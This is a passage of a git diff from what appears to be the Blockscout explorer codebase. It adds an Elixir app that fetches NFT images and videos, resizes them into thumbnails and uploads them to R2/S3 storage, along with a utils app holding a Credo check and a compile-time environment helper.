a/apps/indexer/test/test_helper.exs +++ b/apps/indexer/test/test_helper.exs @@ -17,8 +17,10 @@ end Mox.defmock(EthereumJSONRPC.Mox, for: EthereumJSONRPC.Transport) Mox.defmock(Indexer.BufferedTaskTest.RetryableTask, for: Indexer.BufferedTask) Mox.defmock(Indexer.BufferedTaskTest.ShrinkableTask, for: Indexer.BufferedTask) +Mox.defmock(Explorer.Mock.TeslaAdapter, for: Tesla.Adapter) ExUnit.configure(formatters: [JUnitFormatter, ExUnit.CLIFormatter]) ExUnit.start() Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo, :manual) +Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.EventNotifications, :manual) diff --git a/apps/nft_media_handler/.gitignore b/apps/nft_media_handler/.gitignore new file mode 100644 index 000000000000..b2f515f982e9 --- /dev/null +++ b/apps/nft_media_handler/.gitignore @@ -0,0 +1,26 @@ +# The directory Mix will write compiled artifacts to. +/_build/ + +# If you run "mix test --cover", coverage assets end up here. +/cover/ + +# The directory Mix downloads your dependencies sources to. +/deps/ + +# Where third-party dependencies like ExDoc output generated docs. +/doc/ + +# Ignore .fetch files in case you like to edit your project deps locally. +/.fetch + +# If the VM crashes, it generates a dump, let's ignore it too. +erl_crash.dump + +# Also ignore archive artifacts (built via "mix archive.build"). +*.ez + +# Ignore package tarball (built via "mix hex.build"). +nft_media_handler-*.tar + +# Temporary files, for example, from tests. +/tmp/ diff --git a/apps/nft_media_handler/README.md b/apps/nft_media_handler/README.md new file mode 100644 index 000000000000..adaf2616052b --- /dev/null +++ b/apps/nft_media_handler/README.md @@ -0,0 +1,45 @@ +# NFTMediaHandler + +The NFT Media Handler is an Elixir component in Blockscout responsible for fetching, resizing, and uploading NFT media files. It retrieves images and videos from URLs while handling errors and enforcing a size limit. It efficiently resizes images using the vix_vips library to generate various thumbnail sizes. If the original image is smaller than a target thumbnail size, resizing is skipped. For video files, it extracts the first frame to create a thumbnail image. It uploads media data to a cloud storage service using ExAws.S3. The component manages concurrent tasks with a GenServer and Task.Supervisor to optimize processing. It supports distributed processing through a round-robin node selection via a DispatcherInterface. The application is highly configurable through environment variables for different deployment scenarios. + +## Configuration + +You can modify the application settings in the `config/config.exs` file. Key parameters include: + +- `:enabled?` - Enable/disable the application. +- `:remote?` - Use remote mode. +- `:worker?` - Enable worker mode. +- `:worker_concurrency` - Number of concurrent tasks. +- `:worker_batch_size` - Batch size for tasks. +- `:worker_spawn_tasks_timeout` - Timeout between task spawns. +- `:tmp_dir` - Temporary directory for storing files. + +## Project Structure +- `lib/nft_media_handler/application.ex` - Main application module. +- `lib/nft_media_handler.ex` - Main module for processing and uploading media. +- `lib/nft_media_handler/dispatcher.ex` - Module for managing tasks. +- `lib/nft_media_handler/dispatcher_interface.ex` - Interface for interacting with the dispatcher. +- `lib/nft_media_handler/image/resizer.ex` - Module for resizing images. +- `lib/nft_media_handler/media/fetcher.ex `- Module for fetching media from various sources. +- `lib/nft_media_handler/r2/uploader.ex` - Module for uploading images to R2/S3. + +## Usage Examples + +### Resizing an Image +To resize an image, use the NFTMediaHandler.Image.Resizer.resize/3 function: +``` +image = Vix.Vips.Image.new_from_file("path/to/image.jpg") +resized_images = NFTMediaHandler.Image.Resizer.resize(image, "http://example.com/image.jpg", ".jpg") +``` + +### Uploading an Image +To upload an image, use the NFTMediaHandler.R2.Uploader.upload_image/3 function: +``` +{:ok, result} = NFTMediaHandler.R2.Uploader.upload_image(image_binary, "image.jpg", "folder") +``` + +### Fetching Media +To fetch media, use the NFTMediaHandler.Media.Fetcher.fetch_media/2 function: +``` +{:ok, media_type, body} = NFTMediaHandler.Media.Fetcher.fetch_media("http://example.com/media.jpg", []) +``` diff --git a/apps/nft_media_handler/lib/nft_media_handler.ex b/apps/nft_media_handler/lib/nft_media_handler.ex new file mode 100644 index 000000000000..c284da6d4e52 --- /dev/null +++ b/apps/nft_media_handler/lib/nft_media_handler.ex @@ -0,0 +1,201 @@ +defmodule NFTMediaHandler do + @moduledoc """ + Module resizes and uploads images to R2/S3 bucket. + """ + + require Logger + + alias Explorer.Token.MetadataRetriever, as: TokenMetadataRetriever + alias Image.Video + alias NFTMediaHandler.Image.Resizer + alias NFTMediaHandler.Media.Fetcher + alias NFTMediaHandler.R2.Uploader + alias Vix.Vips.Image, as: VipsImage + + @doc """ + Prepares and uploads media by its URL. + + ## Parameters + + - url: The URL of the media to be prepared and uploaded. + - r2_folder: The destination folder where the media will be uploaded in R2 bucket. + + ## Returns + + - :error if the preparation or upload fails. + - A tuple containing a list of Explorer.Chain.Token.Instance.Thumbnails format and a tuple with content type if successful. + """ + @spec prepare_and_upload_by_url(binary(), binary()) :: {:error, any()} | {list(), {binary(), binary()}} + def prepare_and_upload_by_url(url, r2_folder) do + with {prepared_url, headers} <- maybe_process_ipfs(url), + {:fetch, {:ok, media_type, body}} <- {:fetch, Fetcher.fetch_media(prepared_url, headers)}, + {:ok, result} <- prepare_and_upload_inner(media_type, body, url, r2_folder) do + result + else + {:fetch, {:error, reason}} -> + Logger.warning("Error on fetching media: #{inspect(reason)}, from url (#{url})") + {:error, reason} + + {:error, reason} -> + {:error, reason} + end + end + + defp prepare_and_upload_inner({"image", _} = media_type, initial_image_binary, url, r2_folder) do + with {:image, {:ok, image}} <- {:image, Image.from_binary(initial_image_binary, pages: -1)}, + extension <- media_type_to_extension(media_type), + thumbnails <- Resizer.resize(image, url, ".#{extension}"), + {:original, {:ok, _result}} <- + {:original, + Uploader.upload_image( + initial_image_binary, + Resizer.generate_file_name(url, ".#{extension}", "original"), + r2_folder + )}, + {:thumbnails, {:ok, _result}} <- {:thumbnails, Uploader.upload_images(thumbnails, r2_folder)} do + file_path = Path.join(r2_folder, Resizer.generate_file_name(url, ".#{extension}", "{}")) + original_uploaded? = true + uploaded_thumbnails_sizes = thumbnails |> Enum.map(&elem(&1, 0)) + {:ok, {[file_path, uploaded_thumbnails_sizes, original_uploaded?], media_type}} + else + {:image, {:error, reason}} -> + Logger.warning("Error on open image from url (#{url}): #{inspect(reason)}") + {:error, reason} + + {type, {:error, reason}} -> + Logger.warning("Error on uploading #{type} image from url (#{url}): #{inspect(reason)}") + {:error, reason} + end + end + + defp prepare_and_upload_inner({"video", _} = media_type, body, url, r2_folder) do + extension = media_type_to_extension(media_type) + file_name = Resizer.generate_file_name(url, ".#{extension}", "original") + path = "#{Application.get_env(:nft_media_handler, :tmp_dir)}#{file_name}" + + with {:file, :ok} <- {:file, File.write(path, body)}, + {:video, {:ok, image}} <- + {:video, + Video.with_video(path, fn video -> + Video.image_from_video(video, frame: 0) + end)}, + _ <- remove_file(path), + thumbnails when thumbnails != [] <- image |> Resizer.resize(url, ".jpg"), + {:thumbnails, {:ok, _result}} <- {:thumbnails, Uploader.upload_images(thumbnails, r2_folder)} do + file_path = Path.join(r2_folder, Resizer.generate_file_name(url, ".jpg", "{}")) + uploaded_thumbnails_sizes = thumbnails |> Enum.map(&elem(&1, 0)) + original_uploaded? = true + + {:ok, {[file_path, uploaded_thumbnails_sizes, original_uploaded?], media_type}} + else + {:file, reason} -> + Logger.error("Error while writing video to file: #{inspect(reason)}, url: #{url}") + {:error, reason} + + {:video, {:error, reason}} -> + Logger.error("Error while taking zero frame from video: #{inspect(reason)}, url: #{url}") + remove_file(path) + {:error, reason} + + [] -> + Logger.error("Error while resizing video: No thumbnails generated, url: #{url}") + {:error, :no_thumbnails} + + {:thumbnails, {:error, reason}} -> + Logger.error("Error while uploading video thumbnails: #{inspect(reason)}, url: #{url}") + {:error, reason} + end + end + + defp media_type_to_extension({type, subtype}) do + [extension | _] = MIME.extensions("#{type}/#{subtype}") + extension + end + + @doc """ + Converts an image to a binary format. + + ## Parameters + + - `image`: The `Vix.Vips.Image` struct representing the image to be converted. + - `file_name`: used only for .gif. + - `extension`: The extension of the image format. + + ## Returns + + - `:file_error` if there is an error related to file operations. + - `{:error, reason}` if the conversion fails for any other reason. + - `{:ok, binary}` if the conversion is successful, with the binary representing the image. + """ + @spec image_to_binary(Vix.Vips.Image.t(), binary(), binary()) :: :file_error | {:error, any()} | {:ok, binary()} + def image_to_binary(resized_image, _file_name, extension) when extension in [".jpg", ".png", ".webp"] do + VipsImage.write_to_buffer(resized_image, "#{extension}[Q=70,strip]") + end + + # workaround, because VipsImage.write_to_buffer/2 does not support .gif + def image_to_binary(resized_image, file_name, ".gif") do + path = "#{Application.get_env(:nft_media_handler, :tmp_dir)}#{file_name}" + + with :ok <- VipsImage.write_to_file(resized_image, path), + {:ok, result} <- File.read(path) do + remove_file(path) + {:ok, result} + else + {:error, reason} -> + Logger.error("Error while writing image to file: #{inspect(reason)}, path: #{path}") + :file_error + end + end + + defp remove_file(path) do + case File.rm(path) do + :ok -> + :ok + + {:error, reason} -> + Logger.error("Unable to delete file, reason: #{inspect(reason)}, path: #{path}") + :error + end + end + + # credo:disable-for-next-line Credo.Check.Refactor.CyclomaticComplexity + defp maybe_process_ipfs(uri) do + case URI.parse(uri) do + %URI{scheme: "ipfs", host: host, path: path} -> + resource_id = + with "ipfs" <- host, + "/" <> resource_id <- path do + resource_id + else + _ -> + if is_nil(path), do: host, else: host <> path + end + + {TokenMetadataRetriever.ipfs_link(resource_id), TokenMetadataRetriever.ipfs_headers()} + + %URI{scheme: "ar", host: _host, path: resource_id} -> + {TokenMetadataRetriever.arweave_link(resource_id), TokenMetadataRetriever.ar_headers()} + + %URI{scheme: _, path: "/ipfs/" <> resource_id} -> + {TokenMetadataRetriever.ipfs_link(resource_id), TokenMetadataRetriever.ipfs_headers()} + + %URI{scheme: _, path: "ipfs/" <> resource_id} -> + {TokenMetadataRetriever.ipfs_link(resource_id), TokenMetadataRetriever.ipfs_headers()} + + %URI{scheme: scheme} when not is_nil(scheme) -> + {uri, []} + + %URI{path: path} -> + case path do + "Qm" <> <<_::binary-size(44)>> = resource_id -> + {TokenMetadataRetriever.ipfs_link(resource_id), TokenMetadataRetriever.ipfs_headers()} + + "bafybe" <> _ = resource_id -> + {TokenMetadataRetriever.ipfs_link(resource_id), TokenMetadataRetriever.ipfs_headers()} + + _ -> + {uri, []} + end + end + end +end diff --git a/apps/nft_media_handler/lib/nft_media_handler/application.ex b/apps/nft_media_handler/lib/nft_media_handler/application.ex new file mode 100644 index 000000000000..1f415898b080 --- /dev/null +++ b/apps/nft_media_handler/lib/nft_media_handler/application.ex @@ -0,0 +1,36 @@ +defmodule NFTMediaHandler.Application do + @moduledoc """ + This is the `Application` module for `NFTMediaHandler`. + """ + use Application + + @impl Application + def start(_type, _args) do + File.mkdir(Application.get_env(:nft_media_handler, :tmp_dir)) + + base_children = [ + Supervisor.child_spec({Task.Supervisor, name: NFTMediaHandler.TaskSupervisor}, id: NFTMediaHandler.TaskSupervisor), + NFTMediaHandler.Dispatcher + ] + + children = + if Application.get_env(:nft_media_handler, :standalone_media_worker?) do + [ + NFTMediaHandler.DispatcherInterface + | base_children + ] + else + base_children + end + + opts = [strategy: :one_for_one, name: NFTMediaHandler.Supervisor, max_restarts: 1_000] + + if Application.get_env(:nft_media_handler, :enabled?) && + (!Application.get_env(:nft_media_handler, :remote?) || + (Application.get_env(:nft_media_handler, :remote?) && Application.get_env(:nft_media_handler, :worker?))) do + Supervisor.start_link(children, opts) + else + Supervisor.start_link([], opts) + end + end +end diff --git a/apps/nft_media_handler/lib/nft_media_handler/dispatcher.ex b/apps/nft_media_handler/lib/nft_media_handler/dispatcher.ex new file mode 100644 index 000000000000..aae38745ca5f --- /dev/null +++ b/apps/nft_media_handler/lib/nft_media_handler/dispatcher.ex @@ -0,0 +1,100 @@ +defmodule NFTMediaHandler.Dispatcher do + @moduledoc """ + Module responsible for spawning tasks for uploading image + and handling responses from that tasks + """ + use GenServer + + alias NFTMediaHandler.DispatcherInterface + alias Task.Supervisor, as: TaskSupervisor + + require Logger + + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(_) do + Process.send(self(), :spawn_tasks, []) + + {:ok, + %{ + max_concurrency: Application.get_env(:nft_media_handler, :worker_concurrency), + current_concurrency: 0, + batch_size: Application.get_env(:nft_media_handler, :worker_batch_size), + ref_to_batch: %{} + }} + end + + @impl true + def handle_info( + :spawn_tasks, + %{ + max_concurrency: max_concurrency, + current_concurrency: current_concurrency, + ref_to_batch: tasks_map, + batch_size: batch_size + } = state + ) + when max_concurrency > current_concurrency do + to_spawn = max_concurrency - current_concurrency + + {urls, node, folder} = + (batch_size * to_spawn) + |> DispatcherInterface.get_urls() + + spawned = + urls + |> Enum.chunk_every(batch_size) + |> Enum.map(&run_task(&1, node, folder)) + + Process.send_after(self(), :spawn_tasks, timeout()) + + {:noreply, + %{ + state + | current_concurrency: current_concurrency + Enum.count(spawned), + ref_to_batch: Map.merge(tasks_map, Enum.into(spawned, %{})) + }} + end + + @impl true + def handle_info(:spawn_tasks, state) do + Process.send_after(self(), :spawn_tasks, timeout()) + {:noreply, state} + end + + @impl true + def handle_info({ref, _result}, %{current_concurrency: current_concurrency, ref_to_batch: tasks_map} = state) do + Process.demonitor(ref, [:flush]) + Process.send(self(), :spawn_tasks, []) + + {:noreply, %{state | current_concurrency: current_concurrency - 1, ref_to_batch: Map.drop(tasks_map, [ref])}} + end + + defp run_task(batch, node, folder), + do: + {TaskSupervisor.async_nolink(NFTMediaHandler.TaskSupervisor, fn -> + batch + |> Enum.map(fn url -> + try do + result = + url + |> NFTMediaHandler.prepare_and_upload_by_url(folder) + + {result, url} + rescue + error -> + Logger.error( + "Failed to fetch and upload url (#{url}): #{Exception.format(:error, error, __STACKTRACE__)}" + ) + + {{:error, error}, url} + end + end) + |> DispatcherInterface.store_result(node) + end).ref, {batch, node}} + + defp timeout, do: Application.get_env(:nft_media_handler, :worker_spawn_tasks_timeout) +end diff --git a/apps/nft_media_handler/lib/nft_media_handler/dispatcher_interface.ex b/apps/nft_media_handler/lib/nft_media_handler/dispatcher_interface.ex new file mode 100644 index 000000000000..27f8fdec1919 --- /dev/null +++ b/apps/nft_media_handler/lib/nft_media_handler/dispatcher_interface.ex @@ -0,0 +1,93 @@ +defmodule NFTMediaHandler.DispatcherInterface do + @moduledoc """ + Interface to call the Indexer.NFTMediaHandler.Queue. + Calls performed either via direct call to Queue module, or via :rpc.call/4 + """ + require Logger + use GenServer + + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @doc """ + Initializes the dispatcher interface. + """ + @impl true + def init(_) do + nodes = :nft_media_handler |> Application.get_env(:nodes_map) |> Map.to_list() + + if Enum.empty?(nodes) do + {:stop, "NFT_MEDIA_HANDLER_NODES_MAP must contain at least one node"} + else + {:ok, %{used_nodes: [], unused_nodes: nodes}} + end + end + + @doc """ + Handles the `:take_node_to_call` call message. + Takes a node from the list of nodes to call. Nodes rotate in a round-robin fashion. + """ + @impl true + def handle_call(:take_node_to_call, _from, %{used_nodes: used_nodes, unused_nodes: unused_nodes}) do + {used, unused, node_to_call} = + case unused_nodes do + [] -> + [to_call | remains] = used_nodes |> Enum.reverse() + {[to_call], remains, to_call} + + [to_call | remains] -> + {[to_call | used_nodes], remains, to_call} + end + + {:reply, node_to_call, %{used_nodes: used, unused_nodes: unused}} + end + + @doc """ + Retrieves a list of URLs. + + ## Parameters + - amount: The number of URLs to retrieve. + + ## Returns + {list_of_urls, node_where_urls_from, r2_folder_to_store_images} + """ + @spec get_urls(non_neg_integer()) :: {list(), atom(), String.t()} + def get_urls(amount) do + args = [amount] + function = :get_urls_to_fetch + + if Application.get_env(:nft_media_handler, :remote?) do + {node, folder} = GenServer.call(__MODULE__, :take_node_to_call) + + {node |> :rpc.call(Indexer.NFTMediaHandler.Queue, :get_urls_to_fetch, args) |> process_rpc_response(node), node, + folder} + else + folder = Application.get_env(:nft_media_handler, :nodes_map)[:self] + {apply(Indexer.NFTMediaHandler.Queue, function, args), :self, folder} + end + end + + @doc """ + Stores the result of the media fetching process. If the remote flag is set to true, the result will be stored in a remote node. + """ + @spec store_result(any(), atom()) :: any() + def store_result(batch_result, node) do + remote_call([batch_result], :store_result, node, Application.get_env(:nft_media_handler, :remote?)) + end + + defp remote_call(args, function, node, true) do + :rpc.call(node, Indexer.NFTMediaHandler.Queue, function, args) + end + + defp remote_call(args, function, _node, false) do + apply(Indexer.NFTMediaHandler.Queue, function, args) + end + + defp process_rpc_response({:badrpc, _reason} = error, node) do + Logger.error("Received an error from #{node}: #{inspect(error)}") + [] + end + + defp process_rpc_response(response, _node), do: response +end diff --git a/apps/nft_media_handler/lib/nft_media_handler/image/resizer.ex b/apps/nft_media_handler/lib/nft_media_handler/image/resizer.ex new file mode 100644 index 000000000000..659e4c9f0fb4 --- /dev/null +++ b/apps/nft_media_handler/lib/nft_media_handler/image/resizer.ex @@ -0,0 +1,64 @@ +defmodule NFTMediaHandler.Image.Resizer do + @moduledoc """ + Resizes an image + """ + + @sizes [{60, "60x60"}, {250, "250x250"}, {500, "500x500"}] + require Logger + + @doc """ + Resizes the given image. + + ## Parameters + + - image: The `Vix.Vips.Image` struct representing the image to be resized. + - url: The URL of the image. + - extension: The file extension of the image. + + ## Returns + + A list containing the resized image data. + + """ + @spec resize(Vix.Vips.Image.t(), binary(), binary()) :: list() + def resize(image, url, extension) do + max_size = max(Image.width(image), Image.height(image) / Image.pages(image)) + + @sizes + |> Enum.map(fn {int_size, size} -> + new_file_name = generate_file_name(url, extension, size) + + with {:size, true} <- {:size, max_size > int_size}, + {:ok, resized_image} <- Image.thumbnail(image, size, []), + {:ok, binary} <- NFTMediaHandler.image_to_binary(resized_image, new_file_name, extension) do + {int_size, binary, new_file_name} + else + {:size, _} -> + Logger.debug("Skipped #{size} resizing due to small image size") + nil + + error -> + Logger.warning("Error while #{size} resizing: #{inspect(error)}") + nil + end + end) + |> Enum.reject(&is_nil/1) + end + + @doc """ + Generates a file name for the resized image. + + ## Parameters + - `url`: image url. + - `extension`: file extension of the image. + - `size`: size in pixels ("50x50", "500x500"). + + ## Returns + - `String.t()`: The generated file name as a string in format "\#{uid}_\#{size}\#{extension}" where uid is a :sha hash of the url. + """ + @spec generate_file_name(binary(), binary(), binary()) :: nonempty_binary() + def generate_file_name(url, extension, size) do + uid = :sha |> :crypto.hash(url) |> Base.encode16(case: :lower) + "#{uid}_#{size}#{extension}" + end +end diff --git a/apps/nft_media_handler/lib/nft_media_handler/media/fetcher.ex b/apps/nft_media_handler/lib/nft_media_handler/media/fetcher.ex new file mode 100644 index 000000000000..05d3e44da4d5 --- /dev/null +++ b/apps/nft_media_handler/lib/nft_media_handler/media/fetcher.ex @@ -0,0 +1,60 @@ +defmodule NFTMediaHandler.Media.Fetcher do + @moduledoc """ + Module fetches media from various sources + """ + + @supported_image_types ["png", "jpeg", "gif", "webp"] + @supported_video_types ["mp4"] + + import Utils.TokenInstanceHelper, only: [media_type: 3] + + @doc """ + Fetches media from the given URL with the specified headers. + + ## Parameters + + - url: A binary string representing the URL to fetch the media from. + - headers: A list of headers to include in the request. + + ## Returns + + The fetched media content. + + ## Examples + + iex> fetch_media("http://example.com/media", [{"Authorization", "Bearer token"}]) + {:ok, media_content} + + """ + @spec fetch_media(binary(), list()) :: {:error, any()} | {:ok, nil | tuple(), any()} + def fetch_media(url, headers) when is_binary(url) do + with media_type <- media_type(url, headers, false), + {:support, true} <- {:support, media_type_supported?(media_type)}, + {:ok, %HTTPoison.Response{status_code: 200, body: body}} <- + HTTPoison.get(url, headers, follow_redirect: true, max_body_length: 20_000_000) do + {:ok, media_type, body} + else + {:support, false} -> + {:error, :unsupported_media_type} + + {:ok, %HTTPoison.Response{status_code: status_code, body: _body}} -> + {:error, status_code} + + {:error, %HTTPoison.Error{reason: reason}} -> + {:error, reason} + end + end + + @spec media_type_supported?(any()) :: boolean() + defp media_type_supported?({"image", image_type}) when image_type in @supported_image_types do + true + end + + defp media_type_supported?({"video", video_type}) when video_type in @supported_video_types do + true + end + + defp media_type_supported?(_) do + false + end +end diff --git a/apps/nft_media_handler/lib/nft_media_handler/r2/uploader.ex b/apps/nft_media_handler/lib/nft_media_handler/r2/uploader.ex new file mode 100644 index 000000000000..5ecebf44bc05 --- /dev/null +++ b/apps/nft_media_handler/lib/nft_media_handler/r2/uploader.ex @@ -0,0 +1,51 @@ +defmodule NFTMediaHandler.R2.Uploader do + @moduledoc """ + Uploads an image to R2/S3 + """ + alias ExAws.S3 + + @doc """ + Uploads an image to the specified destination. + + ## Parameters + + - `file_binary` (binary): The binary data of the image to be uploaded. + - `file_name` (binary): The name of the image file in the R2 bucket. + - `r2_folder` (binary): The folder in the R2 bucket where the image will be stored. + + ## Returns + + - `{:ok, result}`: If the upload is successful, returns a tuple with `:ok` and the result. + - `{:error, reason}`: If the upload fails, returns a tuple with `:error` and the reason for the failure. + """ + @spec upload_image(binary(), binary(), binary()) :: {:ok, any()} | {:error, any()} + def upload_image(file_binary, file_name, r2_folder) do + r2_config = Application.get_env(:ex_aws, :s3) + file_path = Path.join(r2_folder, file_name) + + r2_config[:bucket_name] + |> S3.put_object(file_path, file_binary) + |> ExAws.request() + end + + @doc """ + Uploads a list of images to the specified R2 folder. + + ## Parameters + + - images: A list of images to be uploaded. + - r2_folder: The destination folder in R2 where the images will be uploaded. + """ + @spec upload_images(list(), binary()) :: {:ok, any()} | {:error, any()} + def upload_images(images, r2_folder) do + Enum.reduce_while(images, {:ok, nil}, fn {_pixel_size, file_binary, file_name}, _acc -> + case upload_image(file_binary, file_name, r2_folder) do + {:ok, _} -> + {:cont, {:ok, nil}} + + {:error, reason} -> + {:halt, {:error, reason}} + end + end) + end +end diff --git a/apps/nft_media_handler/mix.exs b/apps/nft_media_handler/mix.exs new file mode 100644 index 000000000000..998415b6c4b3 --- /dev/null +++ b/apps/nft_media_handler/mix.exs @@ -0,0 +1,47 @@ +defmodule NFTMediaHandler.MixProject do + use Mix.Project + + def project do + [ + app: :nft_media_handler, + version: "9.1.1", + build_path: "../../_build", + config_path: "../../config/config.exs", + deps_path: "../../deps", + lockfile: "../../mix.lock", + elixir: "~> 1.17", + start_permanent: Mix.env() == :prod, + deps: deps() + ] + end + + # Run "mix help compile.app" to learn about applications. + def application do + [mod: {NFTMediaHandler.Application, []}, extra_applications: [:logger]] + end + + # Run "mix help deps" to learn about dependencies. + defp deps do + [ + {:ex_aws, "~> 2.0"}, + {:ex_aws_s3, "~> 2.0"}, + {:jason, "~> 1.3"}, + {:hackney, "~> 1.9"}, + {:sweet_xml, "~> 0.7"}, + {:image, "~> 0.54"}, + {:httpoison, "~> 2.0"}, + {:evision, "~> 0.2"}, + {:mime, "~> 2.0"}, + {:utils, in_umbrella: true} + ] + |> optionally_nft_media_handler() + end + + defp optionally_nft_media_handler(deps) do + if Application.get_env(:nft_media_handler, :remote?) do + deps + else + deps ++ [{:indexer, in_umbrella: true}] + end + end +end diff --git a/apps/utils/.gitignore b/apps/utils/.gitignore new file mode 100644 index 000000000000..7f38206dd8d0 --- /dev/null +++ b/apps/utils/.gitignore @@ -0,0 +1,26 @@ +# The directory Mix will write compiled artifacts to. +/_build/ + +# If you run "mix test --cover", coverage assets end up here. +/cover/ + +# The directory Mix downloads your dependencies sources to. +/deps/ + +# Where third-party dependencies like ExDoc output generated docs. +/doc/ + +# Ignore .fetch files in case you like to edit your project deps locally. +/.fetch + +# If the VM crashes, it generates a dump, let's ignore it too. +erl_crash.dump + +# Also ignore archive artifacts (built via "mix archive.build"). +*.ez + +# Ignore package tarball (built via "mix hex.build"). +utils-*.tar + +# Temporary files, for example, from tests. +/tmp/ diff --git a/apps/utils/README.md b/apps/utils/README.md new file mode 100644 index 000000000000..6845d6194123 --- /dev/null +++ b/apps/utils/README.md @@ -0,0 +1,7 @@ +# Utils + +The Blockscout `Utils` component, provides utility modules that enhance code clarity and maintainability. + +- It includes the `CompileTimeEnvHelper` module, which manages compile-time environment variables and selectively recompiles modules when runtime values differ. This module leverages metaprogramming to generate module attributes dynamically. +- The `TokenInstanceHelper` module determines NFT media types by checking file extensions and performing HTTP HEAD requests. +- Additionally, the `Credo.Checks.CompileEnvUsage` custom check enforces that only `CompileTimeEnvHelper` accesses compile-time environment variables by scanning the code's AST for direct usages. diff --git a/apps/utils/lib/credo/checks/compile_env_usage.ex b/apps/utils/lib/credo/checks/compile_env_usage.ex new file mode 100644 index 000000000000..b17505011edc --- /dev/null +++ b/apps/utils/lib/credo/checks/compile_env_usage.ex @@ -0,0 +1,54 @@ +defmodule Utils.Credo.Checks.CompileEnvUsage do + @moduledoc """ + Disallows usage of Application.compile_env throughout the codebase, + except in Utils.CompileTimeEnvHelper module. + + Application.compile_env should generally be avoided as it makes the code + harder to test and configure dynamically. + """ + + @explanation [ + check: @moduledoc, + params: [] + ] + + use Credo.Check, base_priority: :high, category: :warning + + alias Credo.Code + + @doc false + @impl true + def run(%SourceFile{} = source_file, params \\ []) do + issue_meta = IssueMeta.for(source_file, params) + + # Skip check for Utils.CompileTimeEnvHelper module + if String.ends_with?(source_file.filename, "utils/compile_time_env_helper.ex") do + [] + else + Code.prewalk(source_file, &traverse(&1, &2, issue_meta)) + end + end + + defp traverse({:., _, [{:__aliases__, _, [:Application]}, :compile_env]} = ast, issues, issue_meta) do + {ast, [issue_for(issue_meta, Macro.to_string(ast)) | issues]} + end + + defp traverse({:., _, [{:__aliases__, _, [:Application]}, :compile_env!]} = ast, issues, issue_meta) do + {ast, [issue_for(issue_meta, Macro.to_string(ast)) | issues]} + end + + defp traverse(ast, issues, _issue_meta) do + {ast, issues} + end + + defp issue_for(issue_meta, trigger) do + format_issue( + issue_meta, + message: """ + Avoid using Application.compile_env, use runtime configuration instead. If you need compile-time config, use Utils.CompileTimeEnvHelper. + More details: https://github.com/blockscout/blockscout/tree/master/CONTRIBUTING.md#compile-time-environment-variables + """, + trigger: trigger + ) + end +end diff --git a/apps/utils/lib/utils/compile_time_env_helper.ex b/apps/utils/lib/utils/compile_time_env_helper.ex new file mode 100644 index 000000000000..d5f50191cd1b --- /dev/null +++ b/apps/utils/lib/utils/compile_time_env_helper.ex @@ -0,0 +1,170 @@ +defmodule Utils.CompileTimeEnvHelper do + @moduledoc """ + A module that helps with compile time environment variable handling and automatic + module recompilation when environment variables change. + + ## Motivation + + Direct use of `Application.compile_env/3` causes error when runtime value + of environment variable value do not match compile time value, + this error halts the compilation and requires recompilation of the whole app. + This module prevents this since module is being recompiled automatically when + environment variable value changes. So, this module solves two issues: + + 1. Compile time error is avoided, so the app can be run without whole recompilation. + 2. No need to recompile the whole app when environment variable value changes, that + speed up compilation of different app versions. + + ## How It Works + + The module implements the `__mix_recompile__?/0` callback which Mix uses to determine + if a module needs recompilation. It tracks the values of specified environment variables + at compile time and triggers recompilation when these values change. + + ## Configuration + + Each key-value pair in the options represents: + - Key: The desired module attribute name + - Value: A list containing two elements: + - First element: The application name (atom) + - Second element: The configuration key or list of nested keys + + ## Examples + + Simple configuration: + + use Utils.CompileTimeEnvHelper, + api_url: [:my_app, :api_url] + + Nested configuration: + + use Utils.CompileTimeEnvHelper, + db_config: [:my_app, [:database, :config]], + api_key: [:my_app, [:api, :credentials, :key]] + + ## Technical Details + + 1. **Compile Time Value Tracking** + The module stores the initial values of environment variables during compilation + in a module attribute. These values are used as a reference point for the + `__mix_recompile__?/0` function. + + 2. **Recompilation Logic** + When Mix checks if recompilation is needed, the module compares the current + environment variable values with the stored ones. If any value has changed, + it triggers recompilation of the module. + """ + + # A macro that sets up compile-time environment variable handling. + # + # ## How it works under the hood + # + # 1. When you `use Utils.CompileTimeEnvHelper`, it triggers this macro + # 2. The macro processes your environment configuration and generates necessary code + # using metaprogramming (the `quote` block) + # + # ## Example of generated code + # + # When you write: + # use Utils.CompileTimeEnvHelper, + # api_url: [:my_app, :api_url] + # + # It generates code similar to: + # Module.register_attribute(__MODULE__, :__compile_time_env_vars, accumulate: true) + # + # # Creates @api_url attribute with the compile-time value + # Module.put_attribute( + # __MODULE__, + # :api_url, + # Application.compile_env(:my_app, :api_url) + # ) + # + # # Stores the value for recompilation checking + # Module.put_attribute( + # __MODULE__, + # :__compile_time_env_vars, + # {Application.compile_env(:my_app, :api_url), {:my_app, :api_url}} + # ) + defmacro __using__(env_vars) do + alias Utils.CompileTimeEnvHelper + CompileTimeEnvHelper.__generate_attributes_and_recompile_functions__(env_vars) + end + + @doc """ + Generates the code needed for compile-time environment variable handling. + + ## Technical Details + + This function uses `quote` to create an Abstract Syntax Tree (AST) that will be + injected into the module using this helper. The generated code: + + 1. Creates a module attribute to accumulate environment variables: + ``` + Module.register_attribute(__MODULE__, :__compile_time_env_vars, accumulate: true) + ``` + + 2. For each environment variable in the configuration: + - Creates a module attribute with the compile-time value + - Stores the value and path for recompilation checking + + 3. Generates the `__mix_recompile__?/0` function that Mix uses to determine + if the module needs recompilation + + ## Example + + Given configuration: + api_url: [:my_app, :api_url] + db_host: [:my_app, [:database, :host]] + + This function generates: + # Module attributes for direct access + @api_url Application.compile_env(:my_app, :api_url) + @db_host Application.compile_env(:my_app, [:database, :host]) + + # Storage for recompilation checking + @__compile_time_env_vars [ + {, {:my_app, :api_url}}, + {, {:my_app, [:database, :host]}} + ] + + # Recompilation check function + def __mix_recompile__? do + # Check if any values changed + end + + ## Understanding the Quote Block + + The `quote do ... end` block is Elixir's metaprogramming feature that: + 1. Creates a template of code instead of executing it immediately + 2. This template will be injected into the module that uses this helper + 3. The code inside `quote` is executed when the module is compiled + """ + def __generate_attributes_and_recompile_functions__(env_vars) do + quote do + Module.register_attribute(__MODULE__, :__compile_time_env_vars, accumulate: true) + + for {attribute_name, [app, key_or_path]} <- unquote(env_vars) do + Module.put_attribute( + __MODULE__, + attribute_name, + Application.compile_env(app, key_or_path) + ) + + Module.put_attribute( + __MODULE__, 